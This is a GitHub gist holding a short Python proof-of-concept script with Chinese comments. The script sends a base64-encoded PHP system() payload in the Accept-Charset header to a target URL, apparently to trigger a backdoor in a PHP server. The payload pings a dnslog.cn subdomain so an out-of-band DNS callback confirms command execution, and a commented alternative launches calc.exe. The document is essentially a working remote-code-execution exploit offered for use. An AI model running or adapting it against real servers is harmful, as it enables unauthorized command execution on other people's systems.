Last active
September 23, 2019 14:24
-
-
Save tennc/b63fffe64b4ecbc357dac66670fa461e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
# author: tennc | |
# date: 2019年9月23日 | |
import sys | |
import base64 | |
import requests | |
# url = str(sys.argv[1]) | |
# poc = str(sys.argv[2]) | |
url = r"http://192.168.1.7/l.php" # 这里填写目标地址 | |
poc = r"system('ping fy3u12.dnslog.cn');" # 这里是dnslog.cn的地址,需要打开自己获取一个二级域名,然后修改这里的,之后就可以进行测试了,如果存在问题,dnslog.cn这里就能看到相应的信息 | |
# poc = "c3lzdGVtKCdjYWxjLmV4ZScpOw==" ==> system('calc.exe'); | |
headers = { | |
'User-Agent': r'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.17 Safari/537.36', | |
'Accept': r'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', | |
'Accept-Language': r'zh-CN,zh;q=0.9,en;q=0.8', | |
'Accept-Encoding': r'gzip,deflate', | |
'Accept-Charset': str((base64.b64encode(poc.encode('utf-8'))), "utf-8")} | |
temp = requests.get(url, headers=headers) | |
if temp.status_code == 200: | |
print("开始测试") | |
# print(poc) | |
# print(str((base64.b64encode(poc.encode('utf-8'))), "utf-8")) | |
# print(temp.text) | |
else: | |
print("error!!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment